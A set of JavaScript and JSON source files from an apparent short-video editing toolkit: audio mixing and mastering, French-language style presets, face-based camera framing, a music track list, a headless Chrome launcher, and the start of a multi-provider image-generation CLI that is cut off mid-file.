    const ng = (l > -70 ? db(-16 - l) : db(-19) / Math.max(1e-4, rms)) * db(v.gain ?? 0), i0 = Math.round(g.t0 * SR);
    for (let i = 0; i < nv.length && i0 + i < N; i++) V[i0 + i] += nv[i] * ng;
  });
  // spec.voices: [{at, src, gain}] extra voice clips (an AI answering on camera) laid into held gaps at 1x speed.
  // Each clip is normalised on its own: 1 s clips are too short to gate, so they use a fixed RMS-based gain.
  (spec.voices || []).forEach((v, k) => {
    const np = execFileSync(FFMPEG, ['-v', 'error', '-i', P(raw.voices[k].src), '-af', 'highpass=f=90,lowpass=f=15000,acompressor=threshold=0.125:ratio=3:attack=5:release=90:makeup=2',
      '-ac', '1', '-ar', String(SR), '-f', 'f32le', '-'], { maxBuffer: 1 << 30 });
    const nv = new Float32Array(np.buffer, np.byteOffset, np.length / 4), l = lufs([nv, nv]);
    let rms = 0; for (let i = 0; i < nv.length; i++) rms += nv[i] * nv[i]; rms = Math.sqrt(rms / nv.length);
    const ng = (l > -70 ? db(-16 - l) : db(-19) / Math.max(1e-4, rms)) * db(v.gain ?? 0), i0 = Math.round(v.at * SR);
    for (let i = 0; i < nv.length && i0 + i < N; i++) V[i0 + i] += nv[i] * ng;
  });

  // spec.bleep: [[a, b]] SOURCE ranges censored. The voice is fully cut there (6 ms crossfade) and a 1 kHz tone at about
  // -18 LUFS (just under the voice) takes its place, so nothing of the word leaks. Cover the whole word, its tail included.
  for (const [a, b] of spec.bleep || []) {
    const i0 = Math.max(0, Math.round(a * SR)), i1 = Math.min(N, Math.round(b * SR)), e = Math.round(.006 * SR), A = db(-17.3);
    for (let i = i0; i < i1; i++) { const f = Math.min(1, (i - i0) / e, (i1 - i) / e); V[i] = V[i] * (1 - f) + A * f * Math.sin(2 * Math.PI * 1000 * (i - i0) / SR); }
  }

  // spec.thump: [[a, b, dB]] SOURCE ranges where a mic plosive ("p", "b") thumps: the voice is high-passed at 240 Hz there
  // (two biquads, 24 dB/oct, 12 ms crossfades) and moved by dB (default -3). Cover the burst only: read it on the 80-160 Hz band.
  for (const [a, b, g = -3] of spec.thump || []) {
    const e = Math.round(.012 * SR), i0 = Math.max(0, Math.round(a * SR)), i1 = Math.min(N, Math.round(b * SR)), G = db(g);
    const w = 2 * Math.PI * 240 / SR, al = Math.sin(w) / Math.SQRT2, c = Math.cos(w), a0 = 1 + al;
    const b0 = (1 + c) / 2 / a0, b1 = -(1 + c) / a0, a1 = -2 * c / a0, a2 = (1 - al) / a0, st = new Float64Array(8);
    for (let i = Math.max(0, i0 - 4 * e); i < Math.min(N, i1 + e); i++) {
      let x = V[i];
      for (let o = 0; o < 8; o += 4) { const y = b0 * x + b1 * st[o] + b0 * st[o + 1] - a1 * st[o + 2] - a2 * st[o + 3]; st[o + 1] = st[o]; st[o] = x; st[o + 3] = st[o + 2]; st[o + 2] = y; x = y; }
      const f = clamp(Math.min((i - i0 + e) / e, (i1 + e - i) / e)); V[i] = V[i] * (1 - f) + x * G * f;
    }
  }

  // ---- ducking envelope: fast attack, slow release, so the bed breathes back in between sentences
  const DK = new Float32Array(N), aA = Math.exp(-1 / (.012 * SR)), aR = Math.exp(-1 / (.35 * SR)), thr = db(-30);
  let env = 0, sm = 0; const aS = Math.exp(-1 / (.06 * SR));
  for (let i = 0; i < N; i++) { const x = Math.abs(V[i]); env = x > env ? x + (env - x) * aA : x + (env - x) * aR; const d = clamp(env / thr); sm = d + (sm - d) * aS; DK[i] = 1 - mixCfg.duck * sm; }

  // ---- score + sfx
  const lib = path.join(path.dirname(fileURLToPath(import.meta.url)), '../assets/music'), bed = raw.music?.bed && path.join(lib, `${raw.music.bed}.mp3`);
  // free pack: the beds are not in git, each one is generated in code the first time it is used (about 30 s)
  if (bed && !fs.existsSync(bed) && JSON.parse(fs.readFileSync(path.join(lib, 'tracks.json'), 'utf8')).some(x => x.id === raw.music.bed)) {
    const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'bed-'));
    console.log(`[audio] music: generating the "${raw.music.bed}" bed once (about 30 s)`);
    execFileSync(process.execPath, [path.join(path.dirname(fileURLToPath(import.meta.url)), 'music.mjs'), raw.music.bed, '--out', tmp], { stdio: 'inherit' });
    if (fs.existsSync(path.join(tmp, `${raw.music.bed}.mp3`))) fs.copyFileSync(path.join(tmp, `${raw.music.bed}.mp3`), bed);
  }
  if (bed && !fs.existsSync(bed)) throw new Error(`music.bed "${raw.music.bed}" not in ${lib} (ids: ${fs.readdirSync(lib).filter(f => f.endsWith('.mp3')).map(f => f.slice(0, -4)).join(', ')})`);
  // music.chapters: [[at, bedId], ...] (SOURCE s): long-form, one library bed per chapter, 2 s crossfade on each change
  const ch = !spec.music?.mute && raw.music?.chapters;
  if (ch?.length) ch.forEach(([at, id], k) => {
    const f = path.join(lib, `${id}.mp3`); if (!fs.existsSync(f)) throw new Error(`music.chapters bed "${id}" not in ${lib}`);
    const a = k ? m(at) - 1 : 0, b = k < ch.length - 1 ? m(ch[k + 1][0]) + 1 : T;
    trackBed({ start: a, end: b, fi: k ? 2 : .4, fo: k < ch.length - 1 ? 2 : 1.2 }, f, P, T, X);
  });
  else if ((bed || spec.music?.src) && !spec.music.mute) trackBed(spec.music, bed || raw.music.src, P, T, X);
  else if (!spec.music?.mute) score(spec, tl, X);
  sfxCues(spec, tl, X);
  // nothing sent to the reverb (no synth SFX): its output is all zeros, skip the 8 combs x 2 over the whole short
  const RV = X.REV.some(c => c.some(v => v !== 0)) ? freeverb(X.REV[0], X.REV[1], N) : [new Float32Array(N), new Float32Array(N)];
  const BED = [new Float32Array(N), new Float32Array(N)], FX = [new Float32Array(N), new Float32Array(N)], EV = [new Float32Array(N), new Float32Array(N)];
  for (let c = 0; c < 2; c++) for (let i = 0; i < N; i++) { BED[c][i] = X.MUS[c][i] + X.DRM[c][i] * .9 + RV[c][i] * .5; EV[c][i] = X.SFX[c][i]; FX[c][i] = X.SFX[c][i] + X.NZ[c][i] + RV[c][i] * .5; }
  // soft sfx (spec.sfx.appear = 'slide'): the slides live on the noise bus, so normalize the whole FX bus
  const lb = lufs(BED), le = lufs(EV), lf = le > -90 && spec.sfx?.appear !== 'slide' ? le : lufs(FX), gb = lb > -90 ? db(mixCfg.music - lb) : 0, gf = lf > -90 ? db(mixCfg.sfx - lf) : 0;

  // spec.sfx.files: [{at | endAt, src, gain -10, pan 0, peak, offset, len}] designed sound files (an ElevenLabs impact, a riser).
  // Each is levelled on its own to (-16 + gain) LUFS, i.e. gain dB under the voice, and stays out of the SFX bus measurement.
  // at = where the file starts (SOURCE time); peak: true puts its loudest sample on `at` instead (impacts, whoosh hits);
  // endAt = where it ends (a riser that lands on the payoff). offset / len trim it (s), with a short fade out.
  const SF = [new Float32Array(N), new Float32Array(N)], kit = kitHits(spec, T), decoded = new Map();
  [...(spec.sfx?.files || []), ...kit.files].forEach(f => {
    const file = P(f.src); if (!fs.existsSync(file)) throw new Error(`sfx.${f.kit ? 'kit.' + f.kit : 'files'} src not found: ${file}`);
    const ck = [file, f.offset, f.len].join('|'), pcm = decoded.get(ck) || execFileSync(FFMPEG, ['-v', 'error', ...(f.offset ? ['-ss', String(f.offset)] : []), ...(f.len ? ['-t', String(f.len)] : []), '-i', file, '-ac', '2', '-ar', String(SR), '-f', 'f32le', '-'], { maxBuffer: 1 << 30 });
    decoded.set(ck, pcm);
    const a = new Float32Array(pcm.buffer, pcm.byteOffset, pcm.length / 4), L = a.length >> 1; if (!L) return;
    const ch = [new Float32Array(L), new Float32Array(L)]; let pk = 0, pi = 0, rms = 0;
    for (let i = 0; i < L; i++) { ch[0][i] = a[2 * i]; ch[1][i] = a[2 * i + 1]; const v = Math.abs(a[2 * i]) + Math.abs(a[2 * i + 1]); if (v > pk) { pk = v; pi = i; } rms += a[2 * i] ** 2 + a[2 * i + 1] ** 2; }
    rms = Math.sqrt(rms / (2 * L));
    const l = lufs(ch), g = (l > -70 ? db(-16 + (f.gain ?? -10) - l) : db(-19 + (f.gain ?? -10)) / Math.max(1e-4, rms));
    const pan = clamp(f.pan ?? 0, -1, 1), gl = g * Math.cos((pan + 1) * Math.PI / 4) * Math.SQRT2, gr = g * Math.sin((pan + 1) * Math.PI / 4) * Math.SQRT2;
    const i0 = f.endAt != null ? Math.round(f.endAt * SR) - L : Math.round((f.at ?? 0) * SR) - (f.peak ? pi : 0), fo = Math.round(.04 * SR);
    for (let i = 0; i < L; i++) { const j = i0 + i; if (j < 0 || j >= N) continue; const e = f.len ? Math.min(1, (L - i) / fo) : 1; SF[0][j] += ch[0][i] * gl * e; SF[1][j] += ch[1][i] * gr * e; }
  });

  // music.drops: [t] SOURCE s where the bed cuts out for music.dropLen s (default .3) and slams back, as on a punch-in.
  // music.dropOn: 'punch' adds one on every sfx.kit punch (instant zoom), 'cut' on every kit cut too.
  const DR = new Float32Array(N).fill(1), dl = spec.music?.dropLen ?? .3, dd = spec.music?.dropDepth ?? .06, ed = Math.round(.008 * SR);
  const dOn = [].concat(spec.music?.dropOn || []), drops = [...(spec.music?.drops || []), ...kit.files.filter(f => dOn.includes(f.kit)).map(f => f.at)];
  for (const a of drops) { const i0 = Math.round(a * SR), i1 = i0 + Math.round(dl * SR);
    for (let i = Math.max(0, i0 - ed); i < Math.min(N, i1 + ed); i++) DR[i] = Math.min(DR[i], dd + (1 - dd) * (1 - clamp(Math.min((i - i0 + ed) / ed, (i1 + ed - i) / ed)))); }

  // ---- sum + master
  const fadeIn = Math.round(.02 * SR), fadeOut = Math.round(.35 * SR), Mx = [new Float32Array(N), new Float32Array(N)];
  for (let c = 0; c < 2; c++) for (let i = 0; i < N; i++) {
    const f = Math.min(1, i / fadeIn, (N - i) / fadeOut);
    Mx[c][i] = (V[i] + BED[c][i] * gb * DK[i] * DR[i] + FX[c][i] * gf + SF[c][i]) * f;
  }
  // sample-peak ceiling; AAC can add ~1.5 dB of overs on sharp transients, so lower it (spec.mix.ceil, dBFS) if QC fails
  let gain = 1, Y, I; const ceil = db(spec.mix?.ceil ?? -1.5);
  for (let it = 0; it < 6; it++) { Y = limit(Mx, gain, ceil); I = lufs(Y); if (Math.abs(I + 14) < .05) break; gain *= db(-14 - I); }
  let peak = 0; for (let c = 0; c < 2; c++) for (let i = 0; i < N; i++) { if (!Number.isFinite(Y[c][i])) throw new Error('NaN in mix at ' + (i / SR).toFixed(3)); peak = Math.max(peak, Math.abs(Y[c][i])); }

  const buf = Buffer.alloc(44 + N * 6);
  buf.write('RIFF', 0); buf.writeUInt32LE(36 + N * 6, 4); buf.write('WAVEfmt ', 8); buf.writeUInt32LE(16, 16); buf.writeUInt16LE(1, 20); buf.writeUInt16LE(2, 22);
  buf.writeUInt32LE(SR, 24); buf.writeUInt32LE(SR * 6, 28); buf.writeUInt16LE(6, 32); buf.writeUInt16LE(24, 34); buf.write('data', 36); buf.writeUInt32LE(N * 6, 40);
  for (let i = 0; i < N; i++) for (let c = 0; c < 2; c++) {   // 24-bit little endian by hand (faster than writeIntLE)
    const v = Math.max(-8388608, Math.min(8388607, Math.round(Y[c][i] * 8388607))), o = 44 + i * 6 + c * 3;
    buf[o] = v & 255; buf[o + 1] = v >> 8 & 255; buf[o + 2] = v >> 16 & 255;
  }
  fs.writeFileSync(P('assets/mix.wav'), buf);
  // spec.mix.stem: also write assets/fx.wav = music + SFX without the voice, pre-master, levelled against a -16 LUFS voice.
  // The youtube-editing mix route lays it over the Tella master's own voice (scripts/mix_splice.mjs).
  if (spec.mix?.stem) {
    const sb = Buffer.alloc(44 + N * 8);
    sb.write('RIFF', 0); sb.writeUInt32LE(36 + N * 8, 4); sb.write('WAVEfmt ', 8); sb.writeUInt32LE(16, 16); sb.writeUInt16LE(3, 20); sb.writeUInt16LE(2, 22);
    sb.writeUInt32LE(SR, 24); sb.writeUInt32LE(SR * 8, 28); sb.writeUInt16LE(8, 32); sb.writeUInt16LE(32, 34); sb.write('data', 36); sb.writeUInt32LE(N * 8, 40);
    for (let i = 0; i < N; i++) for (let c = 0; c < 2; c++) sb.writeFloatLE(BED[c][i] * gb * DK[i] * DR[i] + FX[c][i] * gf + SF[c][i], 44 + i * 8 + c * 4);
    fs.writeFileSync(P('assets/fx.wav'), sb);
  }
  console.log(`[short] mix.wav: ${T.toFixed(2)}s, voice -16 LUFS, ${lb > -90 ? `bed ${mixCfg.music} LUFS (duck ${Math.round(mixCfg.duck * 100)}%)` : 'no music'}, ${lf > -90 ? `sfx ${mixCfg.sfx} LUFS` : 'no synth sfx'}${(spec.sfx?.files?.length || 0) + kit.files.length ? `, ${(spec.sfx?.files?.length || 0) + kit.files.length} sfx files` : ''} -> master ${I.toFixed(2)} LUFS, peak ${(20 * Math.log10(peak)).toFixed(2)} dBFS (${((Date.now() - t0) / 1000).toFixed(1)}s)`);
}

{
  "_": "Starting looks for the onboarding: a partial style.json each, merged over the engine template. preview.mjs --variants '[{\"label\": \"...\", \"look\": \"<key>\", \"style\": {<patch>}}]'. Never personal: no creator, folders, sfx kit or music file.",
  "default": {
    "label": "Minimal",
    "says": "Le style par défaut : papier texturé, police système (celle du Mac), caméra pleine largeur, sous-titres en capitales mono, blancs sur un bandeau noir posé sur la jointure.",
    "style": {"font": {"family": "system-ui, -apple-system, Segoe UI, Helvetica Neue, Arial, sans-serif"}, "display": {"font": "system-ui, -apple-system, Segoe UI, Helvetica Neue, Arial, sans-serif", "weight": 800, "text": "system-ui, -apple-system, Segoe UI, Helvetica Neue, Arial, sans-serif", "title": "ink2", "flat": true}, "captions": {"style": "band", "font": "JetBrains Mono", "weight": 800, "size": 60, "maxWords": 3, "upper": true, "bg": "#111111", "color": "#FFFFFF", "radius": 0.2, "shadow": true, "tracking": -0.02, "straddle": true}, "layout": {"frame": {"bleed": true, "r": 0}, "seam": 1160}}
  },
  "classique": {
    "label": "Papier classique",
    "says": "Le style par défaut : papier texturé, sous-titres stickers, accent bleu.",
    "style": {}
  },
  "papier": {
    "label": "Papier signature",
    "says": "Papier texturé avec des ombres profondes, caméra en photo encadrée, sous-titres « rise » : le mot dit apparaît sur un bloc de couleur. Tech, explicatif, premium.",
    "style": {
      "captions": { "style": "rise", "size": 82, "straddle": true },
      "paper": { "grain": 1.2, "tooth": 1, "depth": 1.7, "logos": "flat" },
      "layout": { "frame": true, "seam": 1160 },
      "display": { "font": "Bricolage Grotesque", "weight": 800, "text": "Bricolage Grotesque", "title": "ink2", "flat": true },
      "font": { "family": "Bricolage Grotesque" },
      "grade": true
    }
  },
  "pop": {
    "label": "Pop jaune",
    "says": "Blanc cassé, noir et un jaune vif, gros sous-titres « hard » à ombre dure. Podcast, opinion, énergie.",
    "style": {
      "colors": { "paper": "#F7F7F5", "ink": "#111111", "accent": "#FFD21F", "pop": "#111111" },
      "captions": { "style": "hard", "size": 96, "straddle": true },
      "paper": { "grain": 1.2, "tooth": 1, "depth": 1.7, "logos": "flat", "shadow": "20,20,20" },
      "layout": { "frame": true, "seam": 1010 },
      "display": { "font": "Bricolage Grotesque", "weight": 800, "text": "Bricolage Grotesque", "title": "ink2", "flat": true },
      "font": { "family": "Bricolage Grotesque" }
    }
  },
  "poster": {
    "label": "Poster orange",
    "says": "Fond orange uni, coupes franches, le mot clé énorme en majuscules condensées sur la caméra. Rythmé, viral, très lisible.",
    "style": {
      "pace": { "speed": 1.12 },
      "colors": { "paper": "#F0640A", "ink": "#111111", "accent": "#F0640A", "sheet": "#FFFFFF", "onAccent": "#FFFFFF" },
      "captions": { "style": "stack", "size": 52, "straddle": false, "font": "Inter", "weight": 800, "maxWords": 4, "big": 3.2, "stretch": "extra-condensed", "smallW": 380, "stagger": 70, "fullY": 1250, "paperY": 820, "labelFont": "Inter", "labelWeight": 500, "labelSize": 80, "outline": { "color": "#F0640A", "width": 0.07 }, "zoomDrop": 320, "tall": 1.5, "smallDisplay": true, "snap": true, "margin": 60, "paperBig": 4.6 },
      "paper": { "grain": 0, "tooth": 0, "depth": 0.4, "logos": "flat", "bg": "flat" },
      "layout": { "frame": false, "seam": 1000 },
      "display": { "font": "Archivo", "weight": 900, "text": "Inter", "title": "ink2", "flat": true },
      "font": { "family": "Inter" },
      "grade": "eq=contrast=1.08:saturation=0.95:gamma=0.97,vignette=angle=PI/3",
      "zoom": { "drift": 0.008 },
      "cuts": "hard"
    }
  }
}

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3cd41b7086e8

#!/usr/bin/env node
// Camera framing from a take: samples a few frames, finds the face (Apple Vision on a Mac, MediaPipe elsewhere) and returns the spec
// `cam` for it: crop = the full-height slice around the face (10:9, like the default 1200x1080 on a 1080p take),
// eyes = the eye point inside that crop. Used by `short.mjs init --source` and the studio-setup skill.
//   node camera.mjs <video> [--samples 9]      prints {"w","h","crop","eyes","faces"}
import fs from 'node:fs';
import os from 'node:os';
import path from 'node:path';
import { spawnSync } from 'node:child_process';
import { pathToFileURL } from 'node:url';
import { FFMPEG, FFPROBE, niced, visionTool } from './platform.mjs';

const even = x => Math.round(x / 2) * 2;
const median = a => { const s = [...a].sort((x, y) => x - y); return s.length ? s[s.length >> 1] : 0; };

export function size(f) {
  const r = spawnSync(FFPROBE, ['-v', 'error', '-select_streams', 'v:0', '-show_entries', 'format=duration:stream=width,height:stream_tags=rotate:stream_side_data=rotation', '-of', 'json', f], { encoding: 'utf8' });
  if (r.status) throw new Error(`ffprobe failed on ${f}`);
  const j = JSON.parse(r.stdout), v = j.streams?.[0] || {};
  const rot = Math.abs(+(v.tags?.rotate ?? v.side_data_list?.find(d => d.rotation != null)?.rotation ?? 0)) % 180 === 90;
  return { w: rot ? v.height : v.width, h: rot ? v.width : v.height, dur: +(j.format?.duration || 0) };
}

// crop + eyes from a face box [cx, cy, fw, fh] (source px)
export function framing(w, h, face) {
  const cw = Math.min(w, even(h * 10 / 9)), ch = h;
  const [cx, cy, , fh] = face || [w / 2, h * .42, 0, h * .3];
  const x = even(Math.min(Math.max(0, cx - cw / 2), w - cw));
  return { crop: [x, 0, cw, ch], eyes: [Math.round(cx - x), Math.round(cy - fh * .22)] };
}

export function detectCamera(video, { samples = 9 } = {}) {
  const { w, h, dur } = size(video);
  const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'short-cam-'));
  try {
    for (let i = 0; i < samples; i++) {
      const t = dur * (i + .5) / samples;
      spawnSync(...niced(FFMPEG, ['-y', '-loglevel', 'error', '-ss', t.toFixed(2), '-i', video, '-frames:v', '1', '-q:v', '3', path.join(dir, `${String(i).padStart(5, '0')}.jpg`)]));
    }
    const out = path.join(dir, 'faces.json');
    const tool = visionTool('faces'), r = spawnSync(...niced(tool.cmd, [...tool.args, dir, out]), { encoding: 'utf8' });
    if (r.status || !fs.existsSync(out)) throw new Error(`face detection failed: ${(r.stderr || r.stdout || '').slice(-300)}`);
    const found = JSON.parse(fs.readFileSync(out, 'utf8')).filter(f => f[2] > 0);
    const det = +(r.stdout.match(/(\d+) detected/)?.[1] ?? found.length);
    const face = det ? [0, 1, 2, 3].map(k => median(found.map(f => f[k]))) : null;
    return { w, h, ...framing(w, h, face), faces: det };
  } finally { fs.rmSync(dir, { recursive: true, force: true }); }
}

if (import.meta.url === pathToFileURL(process.argv[1] || '').href) {
  const a = process.argv.slice(2), v = a.find(x => !x.startsWith('--'));
  if (!v) { console.log('usage: node camera.mjs <video> [--samples 9]'); process.exit(1); }
  const i = a.indexOf('--samples');
  console.log(JSON.stringify(detectCamera(path.resolve(v.replace(/^~/, os.homedir())), { samples: i < 0 ? 9 : +a[i + 1] })));
}

3bac9da6dcec

[
  {
    "id": "enquete",
    "name": "Enquête",
    "mood": "tension",
    "bpm": 90,
    "desc": "Drone grave, pulse filtré, battement de coeur, piano feutré",
    "dur": 155.3
  },
  {
    "id": "arpege",
    "name": "Arpège sombre",
    "mood": "tension",
    "bpm": 96,
    "desc": "Arpège synthé qui s'ouvre lentement, basse pulsée, lead lointain",
    "dur": 147
  },
  {
    "id": "filature",
    "name": "Filature",
    "mood": "tension",
    "bpm": 92,
    "desc": "Ostinato pincé en sourdine, contrebasse qui rôde, vibraphone de film noir",
    "dur": 152.1
  },
  {
    "id": "compte-a-rebours",
    "name": "Compte à rebours",
    "mood": "tension",
    "bpm": 100,
    "desc": "Horloge qui tique, basse pulsée qui s'ouvre, nappe qui monte, impacts lointains",
    "dur": 150
  },
  {
    "id": "sonar",
    "name": "Sonar",
    "mood": "tension",
    "bpm": 80,
    "desc": "Pings de sonar en écho, drone profond, pouls lent sous la surface",
    "dur": 152
  },
  {
    "id": "code-noir",
    "name": "Code noir",
    "mood": "tension",
    "bpm": 98,
    "desc": "Techno minimale feutrée, kick sourd, accords dub en écho, basse qui pompe",
    "dur": 153.9
  },
  {
    "id": "thriller",
    "name": "Thriller",
    "mood": "tension",
    "bpm": 84,
    "desc": "Ostinato staccato en 3-3-2, impacts graves lointains, piano sombre",
    "dur": 156.6
  },
  {
    "id": "neon",
    "name": "Néon",
    "mood": "tension",
    "bpm": 104,
    "desc": "Arpège en 16e qui pompe, basse en octaves, lead lointain, ville de nuit",
    "dur": 154.7
  }
]

// Headless Chrome on its DevTools pipe, without Playwright, for the render workers and stills. Chrome opens the runtime
// page from its command line, so the page boots while we attach (Playwright: 160 ms to import, then 170 ms of newPage
// before the page even starts loading), and nothing reports each frame image fetch back to node (Playwright enables the
// Network domain and relays every request through its in-process server). The switches are Playwright 1.63's own
// (chromiumSwitches + headless), so pixels and color handling stay the same.
import { spawn } from 'node:child_process';
import fs from 'node:fs';
import os from 'node:os';
import path from 'node:path';

const FEATURES_OFF = ['AvoidUnnecessaryBeforeUnloadCheckSync', 'DestroyProfileOnBrowserClose', 'DialMediaRouteProvider', 'GlobalMediaControls', 'HttpsUpgrades',
  'LensOverlay', 'MediaRouter', 'PaintHolding', 'ThirdPartyStoragePartitioning', 'Translate', 'AutoDeElevate', 'OptimizationHints'];
const SWITCHES = ['--disable-field-trial-config', '--disable-background-networking', '--disable-background-timer-throttling', '--disable-backgrounding-occluded-windows',
  '--disable-back-forward-cache', '--disable-breakpad', '--disable-client-side-phishing-detection', '--disable-component-extensions-with-background-pages',
  '--disable-component-update', '--no-default-browser-check', '--disable-default-apps', '--disable-dev-shm-usage', '--disable-extensions',
  `--disable-features=${FEATURES_OFF.join(',')}`, '--allow-pre-commit-input', '--disable-hang-monitor', '--disable-ipc-flooding-protection',
  '--disable-popup-blocking', '--disable-prompt-on-repost', '--disable-renderer-backgrounding', '--force-color-profile=srgb', '--metrics-recording-only',
  '--no-first-run', '--password-store=basic', '--use-mock-keychain', '--no-service-autorun', '--disable-search-engine-choice-screen', '--disable-infobars',
  '--disable-sync', '--enable-unsafe-swiftshader', '--headless', '--hide-scrollbars', '--mute-audio',
  '--blink-settings=primaryHoverType=2,availableHoverTypes=2,primaryPointerType=4,availablePointerTypes=4', '--no-sandbox', '--remote-debugging-pipe'];

// -> { evaluate(fn, arg), close() } once window.READY (throws window.READY_ERROR). evaluate runs fn(arg) in the page
// (arg JSON) and resolves with its JSON result, like Playwright's page.evaluate. onLog: console errors, [rt] lines, page errors.
export async function openChrome(exe, url, { width, height, args = [], onLog = console.log, timeout = 60000 }) {
  const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'short-chrome-'));
  const p = spawn(exe, [...SWITCHES, `--user-data-dir=${dir}`, `--window-size=${width},${height}`, ...args, url], { stdio: ['ignore', 'ignore', 'pipe', 'pipe', 'pipe'] });
  let err = '', id = 0, rest = Buffer.alloc(0), dead = null;
  const pend = new Map(), fail = e => { dead ||= e; for (const q of pend.values()) q.rej(e); pend.clear(); };
  const exited = new Promise(r => { p.once('exit', r); p.once('error', e => { err += e.message; r(); }); }).then(() => fail(new Error(`chrome exited: ${err.slice(-600)}`)));
  p.stderr.on('data', d => { err = (err + d).slice(-4000); });
  p.stdio[3].on('error', () => {});
  p.stdio[4].on('data', d => {   // messages end with a NUL byte
    let buf = Buffer.concat([rest, d]), i;
    while ((i = buf.indexOf(0)) >= 0) { msg(JSON.parse(buf.subarray(0, i).toString('utf8'))); buf = buf.subarray(i + 1); }
    rest = buf;
  });
  const send = (method, params = {}, sessionId) => dead ? Promise.reject(dead) : new Promise((res, rej) => {
    pend.set(++id, { res, rej }); p.stdio[3].write(JSON.stringify({ id, method, params, sessionId }) + '\0');
  });
  const msg = m => {
    if (m.id) { const q = pend.get(m.id); pend.delete(m.id); return q && (m.error ? q.rej(new Error(m.error.message)) : q.res(m.result)); }
    if (m.method === 'Runtime.consoleAPICalled') {
      const text = m.params.args.map(a => a.value ?? a.description ?? '').join(' ');
      if (m.params.type === 'error' || text.startsWith('[rt]')) onLog('  page: ' + text);
    } else if (m.method === 'Runtime.exceptionThrown') onLog('  pageerror: ' + (m.params.exceptionDetails.exception?.description || m.params.exceptionDetails.text));
  };
  const close = () => { p.kill('SIGKILL'); return exited.then(() => fs.promises.rm(dir, { recursive: true, force: true }).catch(() => {})); };
  try {
    const t0 = Date.now(), sleep = ms => new Promise(r => setTimeout(r, ms));
    let target;
    while (!(target = (await send('Target.getTargets')).targetInfos.find(t => t.type === 'page'))) { if (Date.now() - t0 > timeout) throw new Error('chrome: no page'); await sleep(5); }
    const { sessionId } = await send('Target.attachToTarget', { targetId: target.targetId, flatten: true });
    await send('Runtime.enable', {}, sessionId);
    const evaluate = async (fn, arg) => {
      const r = await send('Runtime.evaluate', { expression: `(${fn})(${arg === undefined ? '' : JSON.stringify(arg)})`, awaitPromise: true, returnByValue: true }, sessionId);
      if (r.exceptionDetails) throw new Error(r.exceptionDetails.exception?.description || r.exceptionDetails.text);
      return r.result.value;
    };
    // the page may still be on about:blank or mid-navigation (its context then dies under us): poll until the runtime is up
    for (;;) {
      const s = await evaluate(() => window.READY === true ? 'ok' : window.READY_ERROR ? String(window.READY_ERROR) : '').catch(e => { if (dead) throw e; return ''; });
      if (s === 'ok') break;
      if (s) throw Object.assign(new Error(s), { page: true });   // the page's own error: no fallback would fix it
      if (Date.now() - t0 > timeout) throw new Error('chrome: the runtime did not boot');
      await sleep(10);
    }
    return { evaluate, close };
  } catch (e) { await close(); throw e; }
}

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#!/usr/bin/env node
// Image generation for shorts (B-roll stills, card illustrations, cutout backgrounds). One CLI, three providers:
//   codex   Codex CLI's built-in image_gen (free with a ChatGPT plan): one `codex exec` per image, the new file is
//           picked up from $CODEX_HOME/generated_images (same system as the codex-multiple-images-generations skill)
//   openai  Images API with OPENAI_API_KEY
//   gemini  Gemini image models with GEMINI_API_KEY
// The provider, model and the creator's image style come from the profile's default style (its style.json `images`),
// keys from the environment or $SHORT_EDITING_HOME/.env. The style suffix (and the palette) is appended to every
// prompt unless --raw.
//
//   node images.mjs --prompts '[{"name":"rocket","prompt":"..."}]' --out <dir> [--ar 2:3] [--provider codex]
//                   [--model m] [--concurrency 2] [--raw] [--dry-run]
//   node images.mjs --check            which providers work here (no generation)
// --prompts: JSON array (strings or {name, prompt, ar, refs}) or a file with one. refs (or --refs a.png,b.png) = local
// reference images (character sheets, a mascot drawing), all three providers: attached to the Codex job and passed to
// image_gen, sent as image parts before the prompt to Gemini, and to the OpenAI Images edits endpoint.
// --skip-existing keeps images already in --out (redo one = trash its file and rerun). --ar: 1:1, 2:3, 3:2, 9:16, 16:9 (default 2:3).
// Writes <out>/<name>.png|jpg and <out>/manifest.json, prints the file paths.
import fs from 'node:fs';
import os from 'node:os';
import path from 'node:path';
import { spawn, spawnSync } from 'node:child_process';
import { codexCmd } from './platform.mjs';

const argv = process.argv.slice(2);
const flag = (k, d) => { const i = argv.indexOf('--' + k); return i < 0 ? d : (argv[i + 1] && !argv[i + 1].startsWith('--') ? argv[i + 1] : true); };
const expand = p => p && path.resolve(String(p).replace(/^~(?=$|\/)/, os.homedir()));
// profile (LOCAL only): $SHORT_EDITING_HOME, else the nearest .short-editing/ in cwd or a parent, home folder excluded
const HOME = expand(process.env.SHORT_EDITING_HOME || (s => { for (let d = s; d !== path.dirname(d); d = path.dirname(d)) if (d !== os.homedir() && fs.existsSync(path.join(d, '.short-editing'))) return path.join(d, '.short-editing'); return path.join(s, '.short-editing'); })(process.cwd()));
const CODEX_HOME = expand(process.env.CODEX_HOME || '~/.codex'), GEN = path.join(CODEX_HOME, 'generated_images');
const log = (...a) => console.log(...a);
const slug = s => String(s).toLowerCase().normalize('NFD').replace(/[̀-ͯ]/g, '').replace(/[^a-z0-9]+/g, '-').replace(/^-|-$/g, '').slice(0, 48) || 'image';
try { os.setPriority(0, 15); } catch {}

// the default style: <profile>/styles/<name>/ when <profile>/style.json only names it ({"default": "<name>"}), else that file
const read = f => { try { return JSON.parse(fs.readFileSync(f, 'utf8')); } catch { return {}; } };
const profile = (r => typeof r.default === 'string' ? read(path.join(HOME, 'styles', r.default, 'style.json')) : r)(read(path.join(HOME, 'style.json')));
const IMG = profile.images || {};
function key(...names) {
  for (const n of names) if (process.env[n]) return process.env[n];
  for (const env of [path.join(HOME, '.env'), path.join(os.homedir(), '.short-editing/.env')]) {   // keys only may be machine-wide
    if (!fs.existsSync(env)) continue;
    const txt = fs.readFileSync(env, 'utf8');
    for (const n of names) { const m = txt.match(new RegExp(`^\\s*(?:export\\s+)?${n}\\s*=\\s*["']?([^"'\\s#]+)`, 'm')); if (m) return m[1]; }
  }
  return null;
}
const [CODEX, CODEX_ARGS] = codexCmd();
const codexReady = () => spawnSync(CODEX, [...CODEX_ARGS, 'login', 'status'], { stdio: ['ignore', 'pipe', 'pipe'], encoding: 'utf8' }).status === 0;
const KEYS = { openai: () => key('OPENAI_API_KEY'), gemini: () => key('GEMINI_API_KEY', 'GOOGLE_API_KEY') };
const DEFAULT_MODEL = { openai: 'gpt-image-2.5-flare', gemini: 'gemini-3.1-flash-image' };

if (flag('check')) {
  const r = { codex: codexReady(), openai: !!KEYS.openai(), gemini: !!KEYS.gemini() };
